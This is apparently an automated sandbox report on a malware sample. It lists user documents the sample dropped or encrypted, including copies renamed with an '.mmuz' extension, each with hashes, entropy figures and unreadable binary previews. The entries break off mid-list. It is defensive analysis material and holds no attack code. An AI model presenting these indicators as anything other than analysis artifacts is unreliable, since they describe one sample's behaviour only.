.C..c....j#..&./...}Lq.'..'..N...H....7D......9...%F.......L.k{.<x..O..I.IB..(V-.b.y.yNax.!.4S.h......L..Bf...#.UL"Q..wa..i..#.q....+.5....%...o,..(.+.l.66.%`..9."I..d.....{....x~,.<...J...,b..u..27...#..y..".T...9.(J...@.....2.....s..M...J.O.......$...........e;8...p.G..*..s.{#...+@...G.a.h.U3....7.....<...JF..$/.,WnPk7.............hFM@...^T.....0.H.6...GlRLGk\I.h..<........T.{. .c_).~...=...q...$...........-z....].

C:\Users\user\Documents\NEBFQQYWPS\NVWZAPQSQL.png.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854739762069553
Encrypted:	false
SSDEEP:	24:FUwkxucJ638Quggn1KyZPQSfiPtuTEn31OESrhgmLqZSb0omqRQKUlmZA/4Z+kbD:FgxucM3VxgncWJ8OK1OxWmbbZmqRQK0s
MD5:	E2B7B5C691D201624F962967131C01A5
SHA1:	3B2B8BB03AB4177484C3A4AE68C12457A38E502A
SHA-256:	1E6F06135070900AD7145D47BD013753427CAA6EB84666AAB75CCA9A200B25C6
SHA-512:	4C9E30754D6148ABDF48DC5D4F994A5AA20141D4FBFDD259D55FF58F5459E3D7710D72D9FD79FFFBBC45E1AC47FF149A526EB400B7EB6F2F88DA121773A6A469
Malicious:	false
Preview:	NVWZAhi2.<x......M.n.......O .R........2..V.....-...7..i..=......[.9a]l...f...5s.k...[..=.O'7o..Fx..g..E.+..K..X.Zh)Ju'7T..?>...d.b7,.....U..l.K..U.[Q./...zy......L.DMAG..7.........G..J..O\|...F....Zq6._>(.?.!..J.<..(T. .].U.T..B.XWC..lZ~=Zwa.....B.....z.....I.b..l..`......M..!....{3.q.^../.H..]>.{(.}..[\|.&..vr(.........Z3.5.)....1?G9...t.>......+9.dL..{..........3R....6..~..6f.%.gF...?..'.........w..}.F.Hy.F..}d.t....o.XY.[%.co.`.FiZ...6...A...AM..@.6..C5g.......\L..6.J.$z.....0...q........3..(.#m..>.[..,..d.U0\.r2/ .C..c....j#..&./...}Lq.'..'..N...H....7D......9...%F.......L.k{.<x..O..I.IB..(V-.b.y.yNax.!.4S.h......L..Bf...#.UL"Q..wa..i..#.q....+.5....%...o,..(.+.l.66.%`..9."I..d.....{....x~,.<...J...,b..u..27...#..y..".T...9.(J...@.....2.....s..M...J.O.......$...........e;8...p.G..*..s.{#...+@...G.a.h.U3....7.....<...JF..$/.,WnPk7.............hFM@...^T.....0.H.6...GlRLGk\I.h..<........T.{. .c_).~...=...q...$...........-z....].

C:\Users\user\Documents\NEBFQQYWPS\PWCCAWLGRE.pdf

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852279504846746
Encrypted:	false
SSDEEP:	24:tEbNfLWHAybqmJVttEw+FjHI/nHapXRAFCJCjhrXVmqc7ho1knXbNxjpZcGTIwaV:tERf89TECn6pUCJ29XV6h8Ac6R+nrYwz
MD5:	80A62A07C7BF9323361B4BD777093D59
SHA1:	A4E7F27D053AD559CD4297BDBA8059DA8B770C17
SHA-256:	0BE110000A803FB80673DA1F7514BE09A288136CEE725F75AAE792B1E9671C1E
SHA-512:	54DB19339067B33853525D72C39272018C59A6FACA6B96E252A85BFBEAF89B4E9FF2F548EAB7244B805A0A47D6FD77726995632B957AD527E21FC179BE0ED060
Malicious:	false
Preview:	PWCCAU..K..+.3rp.....x.y"*.kI.IgY.{..l.....B..20.L.N.D..8..4c.sZ.i....Y...5.!.c..o....r.:.....t._.`s..UWdc...!s.2.X......~G.......X...Z..+...!.a@.}NO.k.BH.....i.....'..&..}........5.2.\|...#S..o=..fS.uxh....".py...(.q...gx..k.6.....,]P.`.B.$x.!.hOfCLu...........6.........3...W...I'.{....r.>%..R.b............7.y.Lb.F..5+....]..u_UF.....\.h...O?=.Igb...X..q.F.X.9....2t.Am.3...}..%........T.x..!.jp..D..I.[:.....~G....y...z...aD.Z.f...-HC...v.n.i.4..8....l.z..e3.....q....3..,.X.k.w.6F/...$..;...^..:Jt7g{.$.M..$..dB...b...@...:.T.G..V..Y."a..4.I...If. ..V..C.....V..\....R.O..`.Y.....@..2X.....m..Q.7Hr..a..v.c..c.....5....`..3.W........ ....Q..X....S.I.x........QgB4O...N..@.n+..za.(.>rX.M.g#...$.$L}.....r.L..N.5.M...D!..5..02...d..@..f.;.@.K.P.<...).h...8j...J.S.9...;ht.a/..v..c.t..sLI45._.CF.G.P.q...c....V./...`.I.f..u."k...Qbt........Y.,.../..1.s.1.{}.../)L....V../Oj...V6C./..n...Q.O.I&W.pQYqH..]s..M.i"8z....v.z..B.y...K...K.......&.Ce.......

C:\Users\user\Documents\NEBFQQYWPS\PWCCAWLGRE.pdf.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852279504846746
Encrypted:	false
SSDEEP:	24:tEbNfLWHAybqmJVttEw+FjHI/nHapXRAFCJCjhrXVmqc7ho1knXbNxjpZcGTIwaV:tERf89TECn6pUCJ29XV6h8Ac6R+nrYwz
MD5:	80A62A07C7BF9323361B4BD777093D59
SHA1:	A4E7F27D053AD559CD4297BDBA8059DA8B770C17
SHA-256:	0BE110000A803FB80673DA1F7514BE09A288136CEE725F75AAE792B1E9671C1E
SHA-512:	54DB19339067B33853525D72C39272018C59A6FACA6B96E252A85BFBEAF89B4E9FF2F548EAB7244B805A0A47D6FD77726995632B957AD527E21FC179BE0ED060
Malicious:	false
Preview:	PWCCAU..K..+.3rp.....x.y"*.kI.IgY.{..l.....B..20.L.N.D..8..4c.sZ.i....Y...5.!.c..o....r.:.....t._.`s..UWdc...!s.2.X......~G.......X...Z..+...!.a@.}NO.k.BH.....i.....'..&..}........5.2.\|...#S..o=..fS.uxh....".py...(.q...gx..k.6.....,]P.`.B.$x.!.hOfCLu...........6.........3...W...I'.{....r.>%..R.b............7.y.Lb.F..5+....]..u_UF.....\.h...O?=.Igb...X..q.F.X.9....2t.Am.3...}..%........T.x..!.jp..D..I.[:.....~G....y...z...aD.Z.f...-HC...v.n.i.4..8....l.z..e3.....q....3..,.X.k.w.6F/...$..;...^..:Jt7g{.$.M..$..dB...b...@...:.T.G..V..Y."a..4.I...If. ..V..C.....V..\....R.O..`.Y.....@..2X.....m..Q.7Hr..a..v.c..c.....5....`..3.W........ ....Q..X....S.I.x........QgB4O...N..@.n+..za.(.>rX.M.g#...$.$L}.....r.L..N.5.M...D!..5..02...d..@..f.;.@.K.P.<...).h...8j...J.S.9...;ht.a/..v..c.t..sLI45._.CF.G.P.q...c....V./...`.I.f..u."k...Qbt........Y.,.../..1.s.1.{}.../)L....V../Oj...V6C./..n...Q.O.I&W.pQYqH..]s..M.i"8z....v.z..B.y...K...K.......&.Ce.......

C:\Users\user\Documents\NVWZAPQSQL.png

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873812910274682
Encrypted:	false
SSDEEP:	24:FmVv1KT++6TiGW+5kkShDJDpzZ3PVIDcWkf/Pulkvoi9kBoQb3DuSRvjkbD:FUkd6WjzL9JpzJ9DPIi6dzuGyD
MD5:	29E72572536E2ABE6817A541B19D7E13
SHA1:	9168FCB6D81AFDE1A67FF745DCF604E70ACA6D22
SHA-256:	7814F4F089787DD590B63C8A0CDAF5C99536B3266361ED1E07DDFA5171BBB0A9
SHA-512:	45B27A622D8E1DF9593B498303A111A3987BF9BF4F674CFFEDF608FFF0C5E4382BDBBFDB5993968266F0DC68411785D39D0B99A979B56C962B4B245B5FADB35B
Malicious:	false
Preview:	NVWZAz.W...S..].g..P..4.){&.s...i..I.;......~..n..{$.0.....F.AV.....OUU...~..4....8......U...JCn..,...a..\....Q....]<../..`.1[..9_C.=.@...{.....C..e..d....?$.....B......K..(.T$[8.b..0.8.>2T..J..(.Pq.......\|3.N..X_+..)...}?m2n.r`..^{.W.\.$..y.o?1._..6.,W.h.<,..9.../.L...v..]!,:.~...Q+.u..;L.i.Y..?D..q#.....A!..<`.hZN..e.O.@.......:0.S...6....iJnr.=..:.Q=zJ..{...;....f@.4.#>lo..v.)G.}.G.E:t..ZF..I....K32o...V..%.GZ.../s.n>....m.)..z6S...i..{w.r.19C?......[5...{..).AO....s.dg...T.....{.....iV.....1 .E.X.].'n6..E.2..."]i~\|...'\....-M.k..0&..Z+j ...lI.q/9......A.P....\..i..w.D..l..7.{..<.:,'........s.G-..6_O\|...j.D.n.#..s...J..........P<F....x\|Q.!..[...}>.....Gy7...g.H..<...5.IwW..N..D.\...e........s=WbQ.a.&....?..QA......9......@?w..19.bk."rM.......*.G.R.......Y....i..n;GA)+.e....NnC.:...qW.yM... ...t'.PO....b....$......`H...R3.N+"..g.#...../gg.z.F.i..).....(.I.)@.$.&....1..P.QU.k..L._......k..7fp.\|...$h.3-.X.#..6.._...-..:H.x=.%Mf.B./.&.Ub.w~....

C:\Users\user\Documents\NVWZAPQSQL.png.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873812910274682
Encrypted:	false
SSDEEP:	24:FmVv1KT++6TiGW+5kkShDJDpzZ3PVIDcWkf/Pulkvoi9kBoQb3DuSRvjkbD:FUkd6WjzL9JpzJ9DPIi6dzuGyD
MD5:	29E72572536E2ABE6817A541B19D7E13
SHA1:	9168FCB6D81AFDE1A67FF745DCF604E70ACA6D22
SHA-256:	7814F4F089787DD590B63C8A0CDAF5C99536B3266361ED1E07DDFA5171BBB0A9
SHA-512:	45B27A622D8E1DF9593B498303A111A3987BF9BF4F674CFFEDF608FFF0C5E4382BDBBFDB5993968266F0DC68411785D39D0B99A979B56C962B4B245B5FADB35B
Malicious:	false
Preview:	NVWZAz.W...S..].g..P..4.){&.s...i..I.;......~..n..{$.0.....F.AV.....OUU...~..4....8......U...JCn..,...a..\....Q....]<../..`.1[..9_C.=.@...{.....C..e..d....?$.....B......K..(.T$[8.b..0.8.>2T..J..(.Pq.......\|3.N..X_+..)...}?m2n.r`..^{.W.\.$..y.o?1._..6.,W.h.<,..9.../.L...v..]!,:.~...Q+.u..;L.i.Y..?D..q#.....A!..<`.hZN..e.O.@.......:0.S...6....iJnr.=..:.Q=zJ..{...;....f@.4.#>lo..v.)G.}.G.E:t..ZF..I....K32o...V..%.GZ.../s.n>....m.)..z6S...i..{w.r.19C?......[5...{..).AO....s.dg...T.....{.....iV.....1 .E.X.].'n6..E.2..."]i~\|...'\....-M.k..0&..Z+j ...lI.q/9......A.P....\..i..w.D..l..7.{..<.:,'........s.G-..6_O\|...j.D.n.#..s...J..........P<F....x\|Q.!..[...}>.....Gy7...g.H..<...5.IwW..N..D.\...e........s=WbQ.a.&....?..QA......9......@?w..19.bk."rM.......*.G.R.......Y....i..n;GA)+.e....NnC.:...qW.yM... ...t'.PO....b....$......`H...R3.N+"..g.#...../gg.z.F.i..).....(.I.)@.$.&....1..P.QU.k..L._......k..7fp.\|...$h.3-.X.#..6.._...-..:H.x=.%Mf.B./.&.Ub.w~....

C:\Users\user\Documents\PWCCAWLGRE.pdf

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846120187346988
Encrypted:	false
SSDEEP:	24:ySHRXKs3tbSbw/J1koO+M6pANQTrr/L17gqgqMSBlWyadIoGh6cpVM9sNn2FkbD:tBdomLOWpANQH317pFWyadIoGk+n/D
MD5:	18C90DC439E667F1506BFE8B8EC2AB52
SHA1:	074AE8B07301D1B458AC03DE5D63C38E4E41A684
SHA-256:	93700260CCF6F3FD9D9EE25CA6FBED752765063EDB263648E64A55B5D7217CC1
SHA-512:	2AB3F07F75D14302E8FD08120C8476A987FCCA4D7930D29021FEBEE0291CB31A65EEC6C8D984E185E83A29C4FA7069202D2895B3F3262BD9D009102289EBB962
Malicious:	false
Preview:	PWCCA.+:........H.x.AJZ.Pv...r"...f.e.Z....!r\.#rf.....l."{.....0..A.../.......I...Chr..?..&O.....~Um..I.H..[.B.B.`{.l@.....`.:JB..5..F...e..%Y....p?.T..K.=6.4..n......t...p.Z...0..WZ7....B.qv.....n.n.(.........f.l..!2...0.......T.1;.@rF....Y-. ......,..#Pqh.6...U.N.-bAInt..=?'..'...'....5....e.h.M...j..).\|.........c..x..0...5..j..=F7"I.\%..l..}.f....{!.~.dh'..r..H....S6L'.7YlRJ@..$Z.....-.R......0....@...._.r..eT....f....N.....O..2....&.+.Z1E...x....h.X.f.$.%j.%...0...PM..j..8.m....'.JIx7yx...k.[^.Li..?..W..4.(..N.BJ..s!.F.....@.\|.4.......Ai.:.EJ....x..#.$...+X.A.&...-d.b.....o.h...Bd..y....0....5.......)@.......6$i....?f1.&.:.X...4..t..t`.dq.........WcR\a.....;o.....I..?4...4nl...wof.7\...v<.{./....z.P...Ym.x.wpr.k.{.i..R...[.%G.A..gC....WL.7r.Q...u.@.[^.K.!Q.[.)h.'..U.{9...;y..<...?.C..*.h.S..P......!...z=d.q..z+.1A...{.C \....B.............`........qT<.............k..E...OWm..~..FT[......S.x......i.M..4.W$......r...P.

C:\Users\user\Documents\PWCCAWLGRE.pdf.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846120187346988
Encrypted:	false
SSDEEP:	24:ySHRXKs3tbSbw/J1koO+M6pANQTrr/L17gqgqMSBlWyadIoGh6cpVM9sNn2FkbD:tBdomLOWpANQH317pFWyadIoGk+n/D
MD5:	18C90DC439E667F1506BFE8B8EC2AB52
SHA1:	074AE8B07301D1B458AC03DE5D63C38E4E41A684
SHA-256:	93700260CCF6F3FD9D9EE25CA6FBED752765063EDB263648E64A55B5D7217CC1
SHA-512:	2AB3F07F75D14302E8FD08120C8476A987FCCA4D7930D29021FEBEE0291CB31A65EEC6C8D984E185E83A29C4FA7069202D2895B3F3262BD9D009102289EBB962
Malicious:	false
Preview:	PWCCA.+:........H.x.AJZ.Pv...r"...f.e.Z....!r\.#rf.....l."{.....0..A.../.......I...Chr..?..&O.....~Um..I.H..[.B.B.`{.l@.....`.:JB..5..F...e..%Y....p?.T..K.=6.4..n......t...p.Z...0..WZ7....B.qv.....n.n.(.........f.l..!2...0.......T.1;.@rF....Y-. ......,..#Pqh.6...U.N.-bAInt..=?'..'...'....5....e.h.M...j..).\|.........c..x..0...5..j..=F7"I.\%..l..}.f....{!.~.dh'..r..H....S6L'.7YlRJ@..$Z.....-.R......0....@...._.r..eT....f....N.....O..2....&.+.Z1E...x....h.X.f.$.%j.%...0...PM..j..8.m....'.JIx7yx...k.[^.Li..?..W..4.(..N.BJ..s!.F.....@.\|.4.......Ai.:.EJ....x..#.$...+X.A.&...-d.b.....o.h...Bd..y....0....5.......)@.......6$i....?f1.&.:.X...4..t..t`.dq.........WcR\a.....;o.....I..?4...4nl...wof.7\...v<.{./....z.P...Ym.x.wpr.k.{.i..R...[.%G.A..gC....WL.7r.Q...u.@.[^.K.!Q.[.)h.'..U.{9...;y..<...?.C..*.h.S..P......!...z=d.q..z+.1A...{.C \....B.............`........qT<.............k..E...OWm..~..FT[......S.x......i.M..4.W$......r...P.

C:\Users\user\Documents\QCFWYSKMHA.jpg

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852195441143553
Encrypted:	false
SSDEEP:	24:7ncT4rLzuPrGWdqvaU0I18POqH0OoxFxZvgmLsxeoClMHhkbD:4Tanw1JUOWFxZceoCnD
MD5:	FB0053B77B4B87A7BF58FE88CA4EF5CA
SHA1:	9F3096E4EE4998B92EF827CA428470E88BD51A74
SHA-256:	78B30F66D5187E9E6C947059CC7BCE9BB7E9A2819E2B32630D20E3750BD6A756
SHA-512:	3BE7CDFB47E66C94E1FEF697DE1A09D687E0874DD52B67EA30C076921D7DDDBB050D48AF9EC8449ED8857F9DCC38EB365F9792E459737F9882EAD2518C4F78C3
Malicious:	false
Preview:	QCFWYC...W>4.w.%...zC.+..N...P....7..<... ..@M...R.....H~.'J..2..mMTY.Tb..K..{i$!Q_iS...r^...IX...sM..5.X.L.U_.o.I.7....D.x..r(.`.....6h._..b.0.........w.E...:..V..h. .....8..Z...(}.z,.YcR.'.z..<<./..../I8L..]......q..G}T\..k.X.p.MYW..;OI......P.......ma.../^..`.e......M..G4..BX4...mI.o.'-p.,.'.%.j..1-..+....f<.....1.%.g.{ ..\|./.."X1KI.q.........l.....e..a..x........}....D.w...G....q-=,D......b.R...p.......0C\..j.....5.y.R.U.G.M.K....,..?...V...'.Nx..w.&..\|.M......8wK%3..<.6....J.:..R..E..>+....4N.......".....3....`..)K..O.r....\.L...OVQ..DUT.V..$h.[..0...)._...4...P.Qw.A..TC....d..l..j....2..Q.?..m.........&.M.o...4......C.....9\|V!.!..S..^.....8.....ZK........`B..j..%..Ds'.m..w..3g.M..TY.2.....".x.\|0..\|.....l.>....#.`...x....@{*.B.q.aQ....~W8.kQ.%!.,...L4.rw.....-.;.#.k.i.]....<...p..%qN.CI.....m...b.6H..(..i....,.8.y...!..A.$.7...@..O^1.m..L:.6%."..U..\|[7.S...X.."...X..q...,.........B.y=.i.S..n.n..($..u?....Z._.3c.M..

C:\Users\user\Documents\QCFWYSKMHA.jpg.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852195441143553
Encrypted:	false
SSDEEP:	24:7ncT4rLzuPrGWdqvaU0I18POqH0OoxFxZvgmLsxeoClMHhkbD:4Tanw1JUOWFxZceoCnD
MD5:	FB0053B77B4B87A7BF58FE88CA4EF5CA
SHA1:	9F3096E4EE4998B92EF827CA428470E88BD51A74
SHA-256:	78B30F66D5187E9E6C947059CC7BCE9BB7E9A2819E2B32630D20E3750BD6A756
SHA-512:	3BE7CDFB47E66C94E1FEF697DE1A09D687E0874DD52B67EA30C076921D7DDDBB050D48AF9EC8449ED8857F9DCC38EB365F9792E459737F9882EAD2518C4F78C3
Malicious:	false
Preview:	QCFWYC...W>4.w.%...zC.+..N...P....7..<... ..@M...R.....H~.'J..2..mMTY.Tb..K..{i$!Q_iS...r^...IX...sM..5.X.L.U_.o.I.7....D.x..r(.`.....6h._..b.0.........w.E...:..V..h. .....8..Z...(}.z,.YcR.'.z..<<./..../I8L..]......q..G}T\..k.X.p.MYW..;OI......P.......ma.../^..`.e......M..G4..BX4...mI.o.'-p.,.'.%.j..1-..+....f<.....1.%.g.{ ..\|./.."X1KI.q.........l.....e..a..x........}....D.w...G....q-=,D......b.R...p.......0C\..j.....5.y.R.U.G.M.K....,..?...V...'.Nx..w.&..\|.M......8wK%3..<.6....J.:..R..E..>+....4N.......".....3....`..)K..O.r....\.L...OVQ..DUT.V..$h.[..0...)._...4...P.Qw.A..TC....d..l..j....2..Q.?..m.........&.M.o...4......C.....9\|V!.!..S..^.....8.....ZK........`B..j..%..Ds'.m..w..3g.M..TY.2.....".x.\|0..\|.....l.>....#.`...x....@{*.B.q.aQ....~W8.kQ.%!.,...L4.rw.....-.;.#.k.i.]....<...p..%qN.CI.....m...b.6H..(..i....,.8.y...!..A.$.7...@..O^1.m..L:.6%."..U..\|[7.S...X.."...X..q...,.........B.y=.i.S..n.n..($..u?....Z._.3c.M..

C:\Users\user\Documents\SFPUSAFIOL.docx

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8547142462106425
Encrypted:	false
SSDEEP:	24:Gyz9qjRHK9S0GkZ3fawWHAiINEpUHY2g92Mgi+uK7ZOYWW6Um34kbD:GyzIjkTNZPNWHAiINMU42gIiQUHjUgD
MD5:	2E3B7E2C656A0AD394EA6FF25541C74E
SHA1:	97B1FF430163DD774A8C29A0E994592AEF6D3ACE
SHA-256:	1BF3E7A3F3FE5F6E421EE0A004157518BC509760756B0A099421DEA66C948288
SHA-512:	BB7585571DE9FF5FF36E0CBDAD1CB89F54F1B4B6555625455B434258219A855B14D4AE9253FCB0D67357A173989F3C55A60A118677640000F4F4DC8E7FF78CC2
Malicious:	false
Preview:	SFPUS,...U...M...S..S!..C.A?....}n..5.M;....T...B....&...ZV........2...LN...@...r......y..'..!M......1...].i.Vw.Vk.s.@.]..@dB...CCX...m..D.6b....X...r'.......nJ.I...@...]..r..i.]...7...v#......-..H6..B&0.OA..p......q....N".p.<..T<..&vi..t..^tKK?.B....{W)..gr.xwR->%..u....7.@z..n{.Tt......*.C.......^.)..Gl..R..{vx..U......0.b..=...........X.J..0D.~.+H}.3.X(T$.....:0.G...iGW..........^...R......N"....n.@.7......k'.b?...7..c....?....Ge....-...y..........K.6-.\|....V.....2.a.[i..KE....H6.U;..X.@..I.....".......6f.O..5..^R...jv...{g...._..^l..3...M.f."%nOG...A.J...&..c.....&w.[.....a@Vb.+.... .&<16...O.....g.yf..y..l.u.....Q..+i...WE..A....bR...........C".....".Q`......Q.0D/.9....._W.j...E".....98...w;..`....O......?..W.....&.....A,.z.. .Y..\.L.5wWvy..gY.}..u..j. '...!I.WRw..B....7.7 .@.U.3..)....K.L-.!9.8.....t.hE..3.W...U ..}-.iQg.=.......C'.&=.....dXRR%q.?+'F.U..~..b.........!...``.....e/..hj.o.hf+l.J........w.L.S..An..X.1....r.m..[..D.r...

C:\Users\user\Documents\SFPUSAFIOL.docx.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8547142462106425
Encrypted:	false
SSDEEP:	24:Gyz9qjRHK9S0GkZ3fawWHAiINEpUHY2g92Mgi+uK7ZOYWW6Um34kbD:GyzIjkTNZPNWHAiINMU42gIiQUHjUgD
MD5:	2E3B7E2C656A0AD394EA6FF25541C74E
SHA1:	97B1FF430163DD774A8C29A0E994592AEF6D3ACE
SHA-256:	1BF3E7A3F3FE5F6E421EE0A004157518BC509760756B0A099421DEA66C948288
SHA-512:	BB7585571DE9FF5FF36E0CBDAD1CB89F54F1B4B6555625455B434258219A855B14D4AE9253FCB0D67357A173989F3C55A60A118677640000F4F4DC8E7FF78CC2
Malicious:	false
Preview:	SFPUS,...U...M...S..S!..C.A?....}n..5.M;....T...B....&...ZV........2...LN...@...r......y..'..!M......1...].i.Vw.Vk.s.@.]..@dB...CCX...m..D.6b....X...r'.......nJ.I...@...]..r..i.]...7...v#......-..H6..B&0.OA..p......q....N".p.<..T<..&vi..t..^tKK?.B....{W)..gr.xwR->%..u....7.@z..n{.Tt......*.C.......^.)..Gl..R..{vx..U......0.b..=...........X.J..0D.~.+H}.3.X(T$.....:0.G...iGW..........^...R......N"....n.@.7......k'.b?...7..c....?....Ge....-...y..........K.6-.\|....V.....2.a.[i..KE....H6.U;..X.@..I.....".......6f.O..5..^R...jv...{g...._..^l..3...M.f."%nOG...A.J...&..c.....&w.[.....a@Vb.+.... .&<16...O.....g.yf..y..l.u.....Q..+i...WE..A....bR...........C".....".Q`......Q.0D/.9....._W.j...E".....98...w;..`....O......?..W.....&.....A,.z.. .Y..\.L.5wWvy..gY.}..u..j. '...!I.WRw..B....7.7 .@.U.3..)....K.L-.!9.8.....t.hE..3.W...U ..}-.iQg.=.......C'.&=.....dXRR%q.?+'F.U..~..b.........!...``.....e/..hj.o.hf+l.J........w.L.S..An..X.1....r.m..[..D.r...

C:\Users\user\Documents\SFPUSAFIOL\GAOBCVIQIJ.mp3

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829901851360933
Encrypted:	false
SSDEEP:	24:jSddXQgco37fMYXogH4DAYiyU4dPz4K+VTs1E7svYu4wTeA2rn6xFjkbD:+dQgRLfMUyiyU4x4VTsS7e4BAkMFyD
MD5:	226FF31951B5E5C0ED5CF3200BE2159B
SHA1:	D50682DAB5DC5ADEACE93C8076B103BDEEB560F7
SHA-256:	849A820A9ADD99D98CC98E884807B122F4FE9E505AA971F755591FA5242845FD
SHA-512:	C760FE51DF6739600EDCAE4DC3618F75AA9BB14CDDFB4CFB1492F0494CD82A4640707435B7FBD3C6DDDD7E9BB859F550858E1E68413B0622FEE39E8D1E741AC1
Malicious:	false
Preview:	GAOBC....C~X..Z........E...2._....d.CW......U..`.m....$8...x:....C.8..Q....._/.^..C..M..n&...8.".6................x.Fk..B.y.m%...._Q.:...)....b.m..K..K....e>J..d......U......=...q..Lh.M....b.<......<....0.`..N.RX..xj2./E.Q.~...2...UD.u9`{......v..`..#j...a.be..M.O8."\\|...=...j).R(x.#1"...NI.....s...a.........E.3)...2.&f.B.z.q..y\<k.<[.f.'d..5....ex_..........:n...E....2...b@.~.n\.$.r. ~.4...t.2.\+.-n}^..gO.}...n..1..B.` :;4.Lh'...I...........%..T .b.L..2HYU....mwyW..vl..wD.O..".....m'..........A]...i..Q..8D.&S......?s.....y6..+.$....l.,l.R).C.`9..PW.....\2......w..e.xK4....UJ......%B.T.M..c..-...>....M......4]vU7.g.[. :....yA.....p...N.0fV`.g.......P.c{.W.#h.U./v.Cv..8.+.W.;..H....uh.(.:..b.a.......4.C..F......G.q..J.v...../#...g9..y.._..z.p\|.%....&p.....9{.w.(..OE.L.aTq.A...[E.....w....Y..).N....Q..,.9....]o..5.40iT....0.. ..x.v8On.6...K.P.<.C.NI...T4H...m...{e\|.k(.5.NE,U.......[.......m.:.Lv.Dp}.pi..&9.D...y....n.o6...D

C:\Users\user\Documents\SFPUSAFIOL\GAOBCVIQIJ.mp3.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829901851360933
Encrypted:	false
SSDEEP:	24:jSddXQgco37fMYXogH4DAYiyU4dPz4K+VTs1E7svYu4wTeA2rn6xFjkbD:+dQgRLfMUyiyU4x4VTsS7e4BAkMFyD
MD5:	226FF31951B5E5C0ED5CF3200BE2159B
SHA1:	D50682DAB5DC5ADEACE93C8076B103BDEEB560F7
SHA-256:	849A820A9ADD99D98CC98E884807B122F4FE9E505AA971F755591FA5242845FD
SHA-512:	C760FE51DF6739600EDCAE4DC3618F75AA9BB14CDDFB4CFB1492F0494CD82A4640707435B7FBD3C6DDDD7E9BB859F550858E1E68413B0622FEE39E8D1E741AC1
Malicious:	false
Preview:	GAOBC....C~X..Z........E...2._....d.CW......U..`.m....$8...x:....C.8..Q....._/.^..C..M..n&...8.".6................x.Fk..B.y.m%...._Q.:...)....b.m..K..K....e>J..d......U......=...q..Lh.M....b.<......<....0.`..N.RX..xj2./E.Q.~...2...UD.u9`{......v..`..#j...a.be..M.O8."\\|...=...j).R(x.#1"...NI.....s...a.........E.3)...2.&f.B.z.q..y\<k.<[.f.'d..5....ex_..........:n...E....2...b@.~.n\.$.r. ~.4...t.2.\+.-n}^..gO.}...n..1..B.` :;4.Lh'...I...........%..T .b.L..2HYU....mwyW..vl..wD.O..".....m'..........A]...i..Q..8D.&S......?s.....y6..+.$....l.,l.R).C.`9..PW.....\2......w..e.xK4....UJ......%B.T.M..c..-...>....M......4]vU7.g.[. :....yA.....p...N.0fV`.g.......P.c{.W.#h.U./v.Cv..8.+.W.;..H....uh.(.:..b.a.......4.C..F......G.q..J.v...../#...g9..y.._..z.p\|.%....&p.....9{.w.(..OE.L.aTq.A...[E.....w....Y..).N....Q..,.9....]o..5.40iT....0.. ..x.v8On.6...K.P.<.C.NI...T4H...m...{e\|.k(.5.NE,U.......[.......m.:.Lv.Dp}.pi..&9.D...y....n.o6...D

C:\Users\user\Documents\SFPUSAFIOL\IPKGELNTQY.xlsx

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83428933921718
Encrypted:	false
SSDEEP:	24:pIVVDEx/Jp1mcYYs8RcjmLNR+l0sdJ/sY3UDOEU+3vwt0bj4xQkbD:pMExB6cYYsvjGOJ/sY7EU+fi8ItD
MD5:	1896954A9AC67590FCC8FA2623393487
SHA1:	AC08B34994C27FE26ADE192AE7A9E08E98539546
SHA-256:	779D5341F61990DAB7B353CB4C33105F54D4A1531C18535D6DE5147A4F130A79
